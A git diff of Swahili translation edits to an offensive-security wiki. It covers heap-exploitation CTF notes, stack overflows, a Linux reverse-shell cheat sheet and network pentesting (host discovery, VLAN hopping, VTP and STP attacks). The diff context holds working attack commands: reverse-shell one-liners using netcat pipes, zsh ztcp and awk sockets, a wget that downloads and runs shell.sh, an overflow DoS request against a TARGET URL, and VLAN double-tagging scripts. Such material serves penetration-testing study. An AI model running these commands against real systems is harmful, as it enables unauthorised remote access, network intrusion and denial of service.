inayotakiwa, kuachilia, kuirejesha na kwa kuwa data ya awali bado ipo, itachukuliwa kulingana na muundo mpya unaotarajiwa katika kipande, hivyo kufanya iwezekane kuweka thamani ili kupata bendera. +- Inawezekana kualloc baadhi ya kumbukumbu, kuandika thamani inayotakiwa, kuachia, kuirejesha na kwa kuwa data ya awali bado ipo, itachukuliwa kulingana na muundo mpya unaotarajiwa katika kipande, hivyo kufanya iwezekane kuweka thamani ili kupata bendera. - [**https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html) -- Katika kesi hii inahitajika kuandika 4 ndani ya kipande maalum ambacho ni cha kwanza kualloc (hata baada ya kuachilia kwa nguvu yote). Kila kipande kipya kilichoalloc kina nambari yake katika orodha ya index. Kisha, alloc kipande 4 (+ kile kilichokuwa kimealloc awali), cha mwisho kitakuwa na 4 ndani yake, kiache na kulazimisha kualloc tena cha kwanza, ambacho kitatumia kipande cha mwisho kilichoachiliwa ambacho ni kile chenye 4 ndani yake. +- Katika kesi hii inahitajika kuandika 4 ndani ya kipande maalum ambacho ni cha kwanza kupewa (hata baada ya kuachia kwa nguvu yote). Kila kipande kipya kilichopewa nambari yake katika orodha ya index inahifadhiwa. Kisha, alloc vipande 4 (+ ile iliyotolewa awali), ya mwisho itakuwa na 4 ndani yake, acha ziwe huru na kulazimisha urejeleaji wa cha kwanza, ambacho kitatumia kipande cha mwisho kilichopewa huru ambacho ni kile chenye 4 ndani yake. - 2024 HITCON Quals Setjmp write-up (Quarkslab) – shambulio la vitendo la first-fit / unsorted-split overlap: - Angstrom CTF 2024 *heapify* write-up – kutumia kugawanya unsorted-bin ili kuvuja libc na kupata overlap: diff --git a/src/binary-exploitation/stack-overflow/README.md b/src/binary-exploitation/stack-overflow/README.md index c6c0decf3..f5c360bc4 100644 --- a/src/binary-exploitation/stack-overflow/README.md +++ b/src/binary-exploitation/stack-overflow/README.md @@ -10,7 +10,7 @@ Tatizo kuu la kuandika tena ni kwamba **pointer ya maagizo iliyohifadhiwa (EIP/R Udhaifu huu kawaida hutokea kwa sababu kazi **inakopi ndani ya stack bytes zaidi kuliko kiasi kilichotengwa kwa ajili yake**, hivyo kuwa na uwezo wa kuandika tena sehemu nyingine za stack. -Baadhi ya kazi za kawaida zinazoweza kuwa na udhaifu huu ni: **`strcpy`, `strcat`, `sprintf`, `gets`**... Pia, kazi kama **`fgets`**, **`read` & `memcpy`** ambazo zinachukua **kiwango cha urefu**, zinaweza kutumika kwa njia yenye udhaifu ikiwa urefu ulioelezwa ni mkubwa kuliko ule uliotengwa. +Baadhi ya kazi za kawaida zinazoweza kuwa na udhaifu huu ni: **`strcpy`, `strcat`, `sprintf`, `gets`**... Pia, kazi kama **`fgets`**, **`read` & `memcpy`** ambazo zinachukua **kiwango cha urefu**, zinaweza kutumika kwa njia yenye udhaifu ikiwa urefu ulioainishwa ni mkubwa kuliko ule uliotengwa. Kwa mfano, kazi zifuatazo zinaweza kuwa na udhaifu: ```c @@ -21,13 +21,13 @@ gets(buffer); // This is where the vulnerability lies printf("You entered: %s\n", buffer); } ``` -### Kupata Mipangilio ya Stack Overflows +### Kutafuta ofseti za Stack Overflows -Njia ya kawaida zaidi ya kupata stack overflows ni kutoa ingizo kubwa sana la `A`s (kwa mfano, `python3 -c 'print("A"*1000)'`) na kutarajia `Segmentation Fault` ikionyesha kwamba **anwani `0x41414141` ilijaribu kufikiwa**. +Njia ya kawaida zaidi ya kutafuta stack overflows ni kutoa ingizo kubwa sana la `A`s (kwa mfano, `python3 -c 'print("A"*1000)'`) na kutarajia `Segmentation Fault` ikionyesha kwamba **anwani `0x41414141` ilijaribu kufikiwa**. -Zaidi ya hayo, mara tu unapogundua kwamba kuna udhaifu wa Stack Overflow utahitaji kupata mipangilio hadi iwezekane **kufuta anwani ya kurudi**, kwa hili mara nyingi hutumiwa **De Bruijn sequence.** Ambayo kwa alfabeti iliyotolewa ya ukubwa _k_ na subsequences za urefu _n_ ni **mfululizo wa mzunguko ambapo kila subsequence inayowezekana ya urefu _n_ inaonekana mara moja tu** kama subsequence iliyo karibu. +Zaidi ya hayo, mara tu unapogundua kwamba kuna udhaifu wa Stack Overflow utahitaji kutafuta ofseti hadi iwezekane **kufuta anwani ya kurudi**, kwa hili mara nyingi hutumiwa **De Bruijn sequence.** Ambayo kwa alfabeti iliyotolewa ya ukubwa _k_ na subsequences za urefu _n_ ni **mfuatano wa mzunguko ambapo kila subsequence inayowezekana ya urefu _n_ inaonekana mara moja tu** kama subsequence iliyo karibu. -Kwa njia hii, badala ya kuhitaji kubaini ni mipangilio gani inahitajika kudhibiti EIP kwa mkono, inawezekana kutumia kama padding moja ya hizi sequences na kisha kupata mipangilio ya bytes ambazo zilimaliza kufuta hiyo. +Kwa njia hii, badala ya kuhitaji kubaini ni ofseti ipi inahitajika kudhibiti EIP kwa mkono, inawezekana kutumia kama padding moja ya hizi sequences na kisha kutafuta ofseti ya bytes ambazo zilimaliza kufuta hiyo. Inawezekana kutumia **pwntools** kwa hili: ```python @@ -50,8 +50,8 @@ pattern search $rsp #Search the offset given the content of $rsp ``` ## Kutumia Stack Overflows -Wakati wa overflow (ikiwa saizi ya overflow ni kubwa vya kutosha) utaweza **kuandika upya** thamani za mabadiliko ya ndani ndani ya stack hadi kufikia **EBP/RBP na EIP/RIP (au hata zaidi)**.\ -Njia ya kawaida zaidi ya kutumia aina hii ya udhaifu ni kwa **kubadilisha anwani ya kurudi** ili wakati kazi inamalizika **mchakato wa udhibiti utaelekezwa popote mtumiaji alivyobaini** katika kiashiria hiki. +Wakati wa overflow (ikiwa saizi ya overflow ni kubwa vya kutosha) utaweza **kuandika upya** thamani za mabadiliko ya ndani ya stack hadi kufikia **EBP/RBP na EIP/RIP (au hata zaidi)**.\ +Njia ya kawaida zaidi ya kutumia aina hii ya udhaifu ni kwa **kubadilisha anwani ya kurudi** ili wakati kazi inamalizika **mchakato wa udhibiti utaelekezwa popote mtumiaji alivyobainisha** katika kiashiria hiki. Hata hivyo, katika hali nyingine labda tu **kuandika upya baadhi ya thamani za mabadiliko katika stack** inaweza kuwa ya kutosha kwa matumizi (kama katika changamoto rahisi za CTF). @@ -116,7 +116,7 @@ warnings.filterwarnings('ignore') url = "https://TARGET/__api__/v1/" + "A"*3000 requests.get(url, verify=False) ``` -Ingawa stack canaries zinaweza kusitisha mchakato, mshambuliaji bado anapata **Denial-of-Service** primitive (na, kwa uvujaji wa habari za ziada, huenda akapata utekelezaji wa msimbo). Somo ni rahisi: +Hata ingawa stack canaries zinafunga mchakato, mshambuliaji bado anapata **Denial-of-Service** primitive (na, kwa uvujaji wa habari za ziada, labda utekelezaji wa msimbo). Somo ni rahisi: * Daima toa **upana wa uwanja wa juu** (kwa mfano, `%511s`). * Prefer njia salama kama `snprintf`/`strncpy_s`. diff --git a/src/generic-hacking/reverse-shells/linux.md b/src/generic-hacking/reverse-shells/linux.md index 4f4ff8efa..9c84a433e 100644 --- a/src/generic-hacking/reverse-shells/linux.md +++ b/src/generic-hacking/reverse-shells/linux.md @@ -47,11 +47,11 @@ wget http:///shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.s ``` ## Forward Shell -Wakati wa kushughulikia **Remote Code Execution (RCE)** udhaifu ndani ya programu ya wavuti inayotumia Linux, kupata reverse shell kunaweza kuzuia na ulinzi wa mtandao kama sheria za iptables au mifumo ya kuchuja pakiti ngumu. Katika mazingira kama haya, njia mbadala ni kuanzisha PTY (Pseudo Terminal) shell ili kuingiliana na mfumo ulioathirika kwa ufanisi zaidi. +Wakati wa kushughulikia **Remote Code Execution (RCE)** udhaifu ndani ya programu ya wavuti inayotumia Linux, kupata reverse shell kunaweza kuzuia na ulinzi wa mtandao kama sheria za iptables au mifumo ya kuchuja pakiti ngumu. Katika mazingira kama haya, njia mbadala inahusisha kuanzisha PTY (Pseudo Terminal) shell ili kuingiliana na mfumo ulioathirika kwa ufanisi zaidi. Zana inayopendekezwa kwa kusudi hili ni [toboggan](https://github.com/n3rada/toboggan.git), ambayo inarahisisha mwingiliano na mazingira ya lengo. -Ili kutumia toboggan kwa ufanisi, tengeneza moduli ya Python iliyoundwa kwa muktadha wa RCE wa mfumo wako wa lengo. Kwa mfano, moduli inayoitwa `nix.py` inaweza kuandaliwa kama ifuatavyo: +Ili kutumia toboggan kwa ufanisi, tengeneza moduli ya Python iliyoundwa kwa muktadha wa RCE wa mfumo wako wa lengo. Kwa mfano, moduli inayoitwa `nix.py` inaweza kuundwa kama ifuatavyo: ```python3 import jwt import httpx @@ -81,7 +81,7 @@ toboggan -m nix.py -i ``` Ili kutumia moja kwa moja shell ya mwingiliano. Unaweza kuongeza `-b` kwa ajili ya uunganisho wa Burpsuite na kuondoa `-i` kwa wrapper ya rce ya msingi zaidi. -Mwingine uwezekano ni kutumia utekelezaji wa shell ya mbele ya `IppSec` [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell). +Uwezekano mwingine ni kutumia utekelezaji wa shell ya mbele wa `IppSec` [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell). Unahitaji tu kubadilisha: @@ -89,7 +89,7 @@ Unahitaji tu kubadilisha: - Kichwa na kiambatisho cha payload yako (ikiwa ipo) - Njia ambayo payload inatumwa (headers? data? taarifa za ziada?) -Kisha, unaweza tu **kutuma amri** au hata **kutumia amri ya `upgrade`** kupata PTY kamili (kumbuka kwamba mabomba yanapozungumziwa na kuandikwa kwa kuchelewesha takriban 1.3s). +Kisha, unaweza tu **kutuma amri** au hata **kutumia amri ya `upgrade`** kupata PTY kamili (kumbuka kwamba mabomba yanapojengwa na kuandikwa kwa kuchelewesha takriban 1.3s). ## Netcat ```bash @@ -118,7 +118,7 @@ rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0; done ``` -Ili kutuma amri, andika chini, bonyeza enter na bonyeza CTRL+D (kuacha STDIN) +Ili kutuma amri, iandike, bonyeza enter na bonyeza CTRL+D (kuacha STDIN) **Mtu aliyeathirika** ```bash @@ -219,7 +219,7 @@ or https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py ``` -## Zsh (built-in TCP) +## Zsh (imejumuishwa TCP) ```bash # Requires no external binaries; leverages zsh/net/tcp module zsh -c 'zmodload zsh/net/tcp; ztcp ; zsh -i <&$REPLY >&$REPLY 2>&$REPLY' @@ -243,7 +243,7 @@ Features: ## revsh (encrypted & pivot-ready) -`revsh` ni mteja/server mdogo wa C unaotoa TTY kamili kupitia **tunnel ya Diffie-Hellman iliyosimbwa** na inaweza kuambatanisha **TUN/TAP** interface kwa ajili ya pivoting kama VPN ya kurudi. +`revsh` ni mteja/server mdogo wa C unaetoa TTY kamili kupitia **tunnel ya Diffie-Hellman iliyosimbwa** na inaweza kuambatanisha **TUN/TAP** interface kwa ajili ya pivoting kama VPN ya kurudi. ```bash # Build (or grab a pre-compiled binary from the releases page) git clone https://github.com/emptymonkey/revsh && cd revsh && make @@ -301,7 +301,7 @@ awk 'BEGIN {s = "/inet/tcp/0//"; while(42) { do{ printf "shell>" |& s; ```bash while true; do nc -l 79; done ``` -Ili kutuma amri, iandike, bonyeza enter na bonyeza CTRL+D (kuacha STDIN) +Ili kutuma amri, andika chini, bonyeza enter na bonyeza CTRL+D (kuacha STDIN) **Mtu aliyeathirika** ```bash @@ -338,7 +338,7 @@ Hii itajaribu kuungana na mfumo wako kwenye bandari 6001: ```bash xterm -display 10.0.0.1:1 ``` -Ili kukamata shell ya nyuma unaweza kutumia (ambayo itasikiliza kwenye bandari 6001): +Ili kukamata reverse shell unaweza kutumia (ambayo itasikiliza kwenye bandari 6001): ```bash # Authorize host xhost +targetip diff --git a/src/generic-methodologies-and-resources/pentesting-network/README.md b/src/generic-methodologies-and-resources/pentesting-network/README.md index 8e85484c1..b3d0b9095 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/README.md +++ b/src/generic-methodologies-and-resources/pentesting-network/README.md @@ -13,7 +13,7 @@ Katika hali hii una **mipango ya IPs** (labda hata **mifumo kadhaa**) na unahita Hii ndiyo njia **rahisi** na **haraka** ya kugundua kama mwenyeji yupo au la.\ Unaweza kujaribu kutuma baadhi ya **ICMP** pakiti na **kusubiri majibu**. Njia rahisi ni kutuma tu **ombio la echo** na kusubiri majibu. Unaweza kufanya hivyo kwa kutumia `ping` rahisi au kutumia `fping` kwa **mifumo**.\ -Unaweza pia kutumia **nmap** kutuma aina nyingine za pakiti za ICMP (hii itakuepusha na filters za ombi la kawaida la echo la ICMP). +Unaweza pia kutumia **nmap** kutuma aina nyingine za pakiti za ICMP (hii itakuepusha na filters za ombi la kawaida la ICMP echo). ```bash ping -c 1 199.66.11.4 # 1 echo request to a host fping -g 199.66.11.0/24 # Send echo requests to ranges @@ -21,7 +21,7 @@ nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet ``` ### TCP Port Discovery -Ni kawaida sana kukuta kwamba aina zote za pakiti za ICMP zinachujwa. Hivyo, unachoweza kufanya ili kuangalia kama mwenyeji yuko hewani ni **kujaribu kupata bandari zilizo wazi**. Kila mwenyeji ana **bandari 65535**, hivyo, ikiwa una "wigo mkubwa" huwezi **kujaribu** kama **kila bandari** ya kila mwenyeji iko wazi au la, hiyo itachukua muda mwingi.\ +Ni kawaida sana kukuta kwamba aina zote za pakiti za ICMP zinachujwa. Hivyo, unachoweza kufanya ili kuangalia kama mwenyeji yuko hewani ni **kujaribu kupata bandari zilizo wazi**. Kila mwenyeji ana **65535 bandari**, hivyo, ikiwa una "wigo mkubwa" huwezi **kujaribu** kama **kila bandari** ya kila mwenyeji iko wazi au la, hiyo itachukua muda mwingi.\ Hivyo, unachohitaji ni **scanner ya bandari ya haraka** ([masscan](https://github.com/robertdavidgraham/masscan)) na orodha ya **bandari zinazotumika zaidi:** ```bash #Using masscan to scan top20ports of nmap in a /24 range (less than 5min) @@ -60,7 +60,7 @@ Hapa unaweza kupata mwongozo mzuri wa mashambulizi yote maarufu ya Wifi wakati w ## Kugundua mwenyeji kutoka ndani -Ikiwa uko ndani ya mtandao, moja ya mambo ya kwanza unayotaka kufanya ni **kugundua wenyeji wengine**. Kulingana na **kiasi cha kelele** unachoweza/unataka kufanya, hatua tofauti zinaweza kuchukuliwa: +Ikiwa uko ndani ya mtandao, moja ya mambo ya kwanza unayotaka kufanya ni **kugundua wenyeji wengine**. Kulingana na **kiasi cha kelele** unachoweza/unachotaka kufanya, hatua tofauti zinaweza kuchukuliwa: ### Passive @@ -101,15 +101,15 @@ alive6 # Send a pingv6 to multicast. Kumbuka kwamba mbinu zilizozungumziwa katika _Discovering hosts from the outside_ ([_**ICMP**_](#icmp)) zinaweza pia **kutumika hapa**.\ Lakini, kwa kuwa uko katika **mtandao mmoja** na wenyeji wengine, unaweza kufanya **mambo zaidi**: -- Ikiwa unafanya **ping** kwa **anwani ya subnet broadcast**, ping inapaswa kufika kwa **kila mwenyeji** na wanaweza **kujibu** **kwako**: `ping -b 10.10.5.255` -- Kufanya ping kwa **anwani ya mtandao broadcast** unaweza hata kupata wenyeji ndani ya **subnets nyingine**: `ping -b 255.255.255.255` -- Tumia lippu `-PE`, `-PP`, `-PM` za `nmap` kufanya ugunduzi wa wenyeji kwa kutuma kwa mtiririko **ICMPv4 echo**, **timestamp**, na **maombi ya subnet mask:** `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24` +- Ikiwa unafanya **ping** kwa **anwani ya matangazo ya subnet**, ping inapaswa kufika kwa **kila mwenyeji** na wanaweza **kujibu** **wewe**: `ping -b 10.10.5.255` +- Kufanya ping kwa **anwani ya matangazo ya mtandao** unaweza hata kupata wenyeji ndani ya **subnets nyingine**: `ping -b 255.255.255.255` +- Tumia lippu `-PE`, `-PP`, `-PM` za `nmap` kufanya ugunduzi wa wenyeji kwa kutuma kwa mtiririko wa **ICMPv4 echo**, **timestamp**, na **maombi ya subnet mask:** `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24` ### **Wake On Lan** -Wake On Lan inatumika ku **washa** kompyuta kupitia **ujumbe wa mtandao**. Pakiti ya kichawi inayotumika kuwasha kompyuta ni pakiti tu ambapo **MAC Dst** inatolewa na kisha inarudiwa **mara 16** ndani ya pakiti hiyo hiyo.\ +Wake On Lan inatumika ku **washa** kompyuta kupitia ujumbe wa **mtandao**. Pakiti ya kichawi inayotumika kuwasha kompyuta ni pakiti tu ambapo **MAC Dst** inatolewa na kisha inarudiwa **mara 16** ndani ya pakiti hiyo hiyo.\ Kisha aina hii ya pakiti kawaida hutumwa katika **ethernet 0x0842** au katika **pakiti ya UDP kwa bandari 9**.\ -Ikiwa **hakuna \[MAC]** iliyotolewa, pakiti inatumwa kwa **broadcast ethernet** (na MAC ya broadcast itakuwa ile inayorudiwa). +Ikiwa **hakuna \[MAC]** iliyotolewa, pakiti inatumwa kwa **broadcast ethernet** (na MAC ya matangazo itakuwa ile inayorudiwa). ```bash # Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain) wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847 @@ -117,14 +117,14 @@ wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9 ``` ## Skanningi Hosts -Mara tu umepata IP zote (za nje au za ndani) unazotaka kuskania kwa undani, hatua tofauti zinaweza kufanywa. +Mara tu unapogundua IP zote (za nje au za ndani) unazotaka kuskania kwa undani, hatua tofauti zinaweza kufanywa. ### TCP -- **Port Iliyofunguliwa**: _SYN --> SYN/ACK --> RST_ -- **Port Iliyofungwa**: _SYN --> RST/ACK_ -- **Port Iliyofichwa**: _SYN --> \[HAUNA JIBU]_ -- **Port Iliyofichwa**: _SYN --> ujumbe wa ICMP_ +- **Port** iliyo **funguliwa**: _SYN --> SYN/ACK --> RST_ +- **Port** iliyo **fungwa**: _SYN --> RST/ACK_ +- **Port** iliyo **chujwa**: _SYN --> \[NO RESPONSE]_ +- **Port** iliyo **chujwa**: _SYN --> ujumbe wa ICMP_ ```bash # Nmap fast scan for the most 1000tcp ports used nmap -sV -sC -O -T4 -n -Pn -oA fastscan @@ -159,7 +159,7 @@ nmap -sU -sV --version-intensity 0 -n -T4 **SCTP (Stream Control Transmission Protocol)** imeundwa kutumika pamoja na **TCP (Transmission Control Protocol)** na **UDP (User Datagram Protocol)**. Kusudi lake kuu ni kuwezesha usafirishaji wa data za simu kupitia mitandao ya IP, ikionyesha sifa nyingi za kuaminika zinazopatikana katika **Signaling System 7 (SS7)**. **SCTP** ni sehemu muhimu ya familia ya protokali ya **SIGTRAN**, ambayo inalenga kusafirisha ishara za SS7 kupitia mitandao ya IP. -Msaada wa **SCTP** unapatikana kutoka kwa mifumo mbalimbali ya uendeshaji, kama vile **IBM AIX**, **Oracle Solaris**, **HP-UX**, **Linux**, **Cisco IOS**, na **VxWorks**, ikionyesha kukubalika kwake pana na matumizi katika uwanja wa mawasiliano na mitandao. +Msaada kwa **SCTP** unapatikana kutoka kwa mifumo mbalimbali ya uendeshaji, kama vile **IBM AIX**, **Oracle Solaris**, **HP-UX**, **Linux**, **Cisco IOS**, na **VxWorks**, ikionyesha kukubalika kwake pana na matumizi katika uwanja wa mawasiliano na mitandao. Nmap inatoa scans mbili tofauti za SCTP: _-sY_ na _-sZ_ ```bash @@ -256,9 +256,9 @@ Katika swichi za kisasa, udhaifu huu umerekebishwa. #### Dynamic Trunking -**Dynamic Trunking Protocol (DTP)** imeundwa kama itifaki ya tabaka la kiungo ili kuwezesha mfumo wa kiotomatiki wa trunking, ikiruhusu swichi kuchagua port kwa njia ya trunk (Trunk) au njia isiyo ya trunk kiotomatiki. Utekelezaji wa **DTP** mara nyingi huonekana kama ishara ya muundo wa mtandao usio bora, ikisisitiza umuhimu wa kuweka trunks kwa mikono tu pale inahitajika na kuhakikisha kuwa kuna nyaraka sahihi. +**Dynamic Trunking Protocol (DTP)** imeundwa kama itifaki ya tabaka la kiungo ili kuwezesha mfumo wa kiotomatiki wa trunking, ikiruhusu swichi kuchagua port kwa njia ya trunk (Trunk) au njia isiyo ya trunk kiotomatiki. Utekelezaji wa **DTP** mara nyingi huonekana kama ishara ya muundo wa mtandao usio bora, ikisisitiza umuhimu wa kuweka trunks kwa mikono tu pale inapotakiwa na kuhakikisha kuwa kuna nyaraka sahihi. -Kwa kawaida, port za swichi zimewekwa kufanya kazi katika hali ya Dynamic Auto, ikimaanisha ziko tayari kuanzisha trunking ikiwa itasababishwa na swichi jirani. Wasiwasi wa usalama unatokea wakati pentester au mshambuliaji anapounganisha na swichi na kutuma fremu ya DTP Desirable, ikilazimisha port kuingia katika hali ya trunk. Kitendo hiki kinamwezesha mshambuliaji kuhesabu VLANs kupitia uchambuzi wa fremu za STP na kupita segmentation ya VLAN kwa kuanzisha interfaces za virtual. +Kwa kawaida, port za swichi zimewekwa kufanya kazi katika hali ya Dynamic Auto, ikimaanisha ziko tayari kuanzisha trunking ikiwa itasababishwa na swichi jirani. Wasiwasi wa usalama unatokea wakati pentester au mshambuliaji anapounganisha na swichi na kutuma fremu ya DTP Desirable, ikilazimisha port kuingia katika hali ya trunk. Kitendo hiki kinamwezesha mshambuliaji kuhesabu VLANs kupitia uchambuzi wa fremu za STP na kupita sehemu za VLAN kwa kuanzisha interfaces za virtual. Uwepo wa DTP katika swichi nyingi kwa kawaida unaweza kutumika na maadui kuiga tabia ya swichi, hivyo kupata ufikiaji wa trafiki katika VLAN zote. Skripti [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) inatumika kufuatilia interface, ikifunua ikiwa swichi iko katika hali ya Default, Trunk, Dynamic, Auto, au Access—hali ya mwisho ikiwa ndio pekee iliyohakikishiwa dhidi ya shambulio la VLAN hopping. Chombo hiki kinakadiria hali ya udhaifu wa swichi. @@ -275,7 +275,7 @@ yersinia -G #For graphic mode ``` ![](<../../images/image (269).png>) -Ili kuhesabu VLANs, pia inawezekana kuzalisha fremu ya DTP Desirable kwa kutumia script [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)**. Usikatishe script hiyo kwa hali yoyote. Inachoma DTP Desirable kila sekunde tatu. **Makanali ya trunk yaliyoundwa kwa njia ya kidinamikia kwenye swichi yanaishi kwa dakika tano tu. Baada ya dakika tano, trunk inanguka.** +Ili kuhesabu VLANs, pia inawezekana kuzalisha fremu ya DTP Desirable kwa kutumia script [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)**. Usikatishe script hiyo kwa hali yoyote. Inachoma DTP Desirable kila sekunde tatu. **Makanali ya trunk iliyoundwa kwa njia ya kidinamikia kwenye swichi inaishi kwa dakika tano tu. Baada ya dakika tano, trunk inanguka.** ``` sudo python3 DTPHijacking.py --interface eth0 ``` @@ -287,7 +287,7 @@ Kwa kuchambua fremu za STP, **tunajifunza kuhusu uwepo wa VLAN 30 na VLAN 60.** #### Kushambulia VLAN maalum -Mara tu unavyojua IDs za VLAN na thamani za IP, unaweza **kuunda kiunganishi cha virtual kushambulia VLAN maalum**.\ +Mara tu unavyojua IDs za VLAN na thamani za IP, unaweza **kuunda kiunganishi cha virtual ili kushambulia VLAN maalum**.\ Ikiwa DHCP haipatikani, basi tumia _ifconfig_ kuweka anwani ya IP ya kudumu. ``` root@kali:~# modprobe 8021q @@ -323,7 +323,7 @@ sudo dhclient -v eth0.30 ``` #### Automatic VLAN Hopper -Shambulio lililozungumziwa la **Dynamic Trunking na kuunda interfaces za virtual na kugundua wenyeji ndani** ya VLAN nyingine linafanywa **kiotomatiki** na chombo: [**https://github.com/nccgroup/vlan-hopping---frogger**](https://github.com/nccgroup/vlan-hopping---frogger) +Shambulio lililozungumziwa la **Dynamic Trunking na kuunda interfaces za virtual na kugundua mwenyeji ndani** ya VLAN nyingine linafanywa **kiotomatiki** na chombo: [**https://github.com/nccgroup/vlan-hopping---frogger**](https://github.com/nccgroup/vlan-hopping---frogger) #### Double Tagging @@ -342,7 +342,7 @@ sendp(packet) ``` #### Lateral VLAN Segmentation Bypass -Ikiwa una **ufikiaji wa swichi ambayo umeunganishwa moja kwa moja**, una uwezo wa **kuzidi segmentation ya VLAN** ndani ya mtandao. Rahisi tu **badilisha bandari kuwa katika hali ya trunk** (inayojulikana pia kama trunk), tengeneza interfaces za virtual zenye IDs za VLAN zinazolengwa, na uweke anwani ya IP. Unaweza kujaribu kuomba anwani hiyo kwa njia ya kidinamik (DHCP) au unaweza kuiseti kwa njia ya statiki. Inategemea hali. +Ikiwa una **ufikiaji wa swichi ambayo umeunganishwa moja kwa moja**, una uwezo wa **kupita VLAN segmentation** ndani ya mtandao. Rahisi tu **badilisha bandari kuwa katika hali ya trunk** (inayojulikana pia kama trunk), tengeneza interfaces za virtual zenye IDs za VLAN zinazolengwa, na uweke anwani ya IP. Unaweza kujaribu kuomba anwani hiyo kwa njia ya kidinamik (DHCP) au unaweza kuipanga kwa njia ya statiki. Inategemea hali. {{#ref}} lateral-vlan-segmentation-bypass.md @@ -350,14 +350,14 @@ lateral-vlan-segmentation-bypass.md #### Layer 3 Private VLAN Bypass -Katika mazingira fulani, kama vile mitandao ya wireless ya wageni, mipangilio ya **port isolation (inayojulikana pia kama private VLAN)** inatekelezwa ili kuzuia wateja waliounganishwa na pointi za ufikiaji wa wireless kuwasiliana moja kwa moja. Hata hivyo, mbinu imegundulika ambayo inaweza kuzunguka hatua hizi za kutengwa. Mbinu hii inatumia ama ukosefu wa ACL za mtandao au usanidi wao usio sahihi, ikiruhusu pakiti za IP kupitishwa kupitia router ili kufikia mteja mwingine kwenye mtandao huo. +Katika mazingira fulani, kama vile mitandao ya wireless ya wageni, mipangilio ya **port isolation (inayojulikana pia kama private VLAN)** inatekelezwa ili kuzuia wateja waliounganishwa na pointi za ufikiaji wa wireless kuwasiliana moja kwa moja. Hata hivyo, mbinu imegundulika ambayo inaweza kuzunguka hatua hizi za kutengwa. Mbinu hii inatumia ama ukosefu wa ACL za mtandao au usanidi wao usio sahihi, ikiruhusu pakiti za IP kupitishwa kupitia router ili kufikia mteja mwingine kwenye mtandao huo huo. Shambulio linafanywa kwa kuunda **pakiti inayobeba anwani ya IP ya mteja wa marudio lakini ikiwa na anwani ya MAC ya router**. Hii inasababisha router kupeleka pakiti hiyo kwa makosa kwa mteja wa lengo. Njia hii ni sawa na ile inayotumika katika Shambulio za Double Tagging, ambapo uwezo wa kudhibiti mwenyeji anayepatikana kwa mwathirika unatumika kutekeleza kasoro ya usalama. **Hatua Muhimu za Shambulio:** 1. **Kuunda Pakiti:** Pakiti inaundwa kwa njia maalum ili kujumuisha anwani ya IP ya mteja wa lengo lakini ikiwa na anwani ya MAC ya router. -2. **Kutatua Tabia ya Router:** Pakiti iliyoundwa inatumwa hadi kwa router, ambayo, kutokana na usanidi, inarudisha pakiti hiyo kwa mteja wa lengo, ikipita hatua za kutengwa zinazotolewa na mipangilio ya private VLAN. +2. **Kutatua Tabia ya Router:** Pakiti iliyoundwa inatumwa kwa router, ambayo, kutokana na usanidi, inarudisha pakiti hiyo kwa mteja wa lengo, ikipita hatua za kutengwa zinazotolewa na mipangilio ya private VLAN. ### VTP Attacks @@ -367,15 +367,15 @@ VTP (VLAN Trunking Protocol) inakusanya usimamizi wa VLAN. Inatumia nambari za m - **VTP Server:** Inasimamia VLANs—inaunda, inafuta, inabadilisha. Inatangaza matangazo ya VTP kwa wanachama wa eneo. - **VTP Client:** Inapokea matangazo ya VTP ili kuunganisha hifadhidata yake ya VLAN. Jukumu hili haliruhusiwi kufanya mabadiliko ya usanidi wa VLAN za ndani. -- **VTP Transparent:** Hailihusishi katika masasisho ya VTP lakini inapeleka matangazo ya VTP. Haithiriwi na shambulio za VTP, inashikilia nambari ya marekebisho isiyobadilika ya sifuri. +- **VTP Transparent:** Hailihusishi katika masasisho ya VTP lakini inapeleka matangazo ya VTP. Haijaathiriwa na shambulio za VTP, inashikilia nambari ya marekebisho isiyobadilika ya sifuri. #### VTP Advertisement Types - **Summary Advertisement:** Inatangazwa na VTP server kila sekunde 300, ikibeba taarifa muhimu za eneo. - **Subset Advertisement:** Inatumwa kufuatia mabadiliko ya usanidi wa VLAN. -- **Advertisement Request:** Inatolewa na VTP client kuomba Summary Advertisement, kawaida kama jibu la kugundua nambari ya marekebisho ya usanidi iliyo juu. +- **Advertisement Request:** Inatolewa na VTP client kuomba Summary Advertisement, kawaida kwa kujibu kugundua nambari ya marekebisho ya usanidi iliyo juu. -Uhalifu wa VTP unaweza kutekelezwa pekee kupitia bandari za trunk kwani matangazo ya VTP yanazunguka kupitia hizo pekee. Baada ya hali za shambulio za DTP, huenda zikageukia VTP. Zana kama Yersinia zinaweza kusaidia shambulio za VTP, zikilenga kufuta hifadhidata ya VLAN, na hivyo kuharibu mtandao. +Uhalifu wa VTP unaweza kutumika pekee kupitia bandari za trunk kwani matangazo ya VTP yanazunguka kupitia hizo pekee. Baada ya hali za shambulio la DTP, huenda zikageukia VTP. Zana kama Yersinia zinaweza kusaidia shambulio za VTP, zikilenga kufuta hifadhidata ya VLAN, na hivyo kuharibu mtandao. Kumbuka: Majadiliano haya yanahusiana na toleo la VTP 1 (VTPv1). ````bash @@ -389,15 +389,15 @@ Katika hali ya picha ya Yersinia, chagua chaguo la kufuta VTP vlans zote ili kuf #### **STP BPDU DoS** -Kutuma BPDUs nyingi za TCP (Notification ya Mabadiliko ya Topolojia) au Conf (BPDUs ambazo zinatumwa wakati topolojia inaundwa) swichi zinachanganyikiwa na kuacha kufanya kazi ipasavyo. +Kutuma BPDUs nyingi za TCP (Notification ya Mabadiliko ya Topolojia) au Conf (BPDUs zinazotumwa wakati 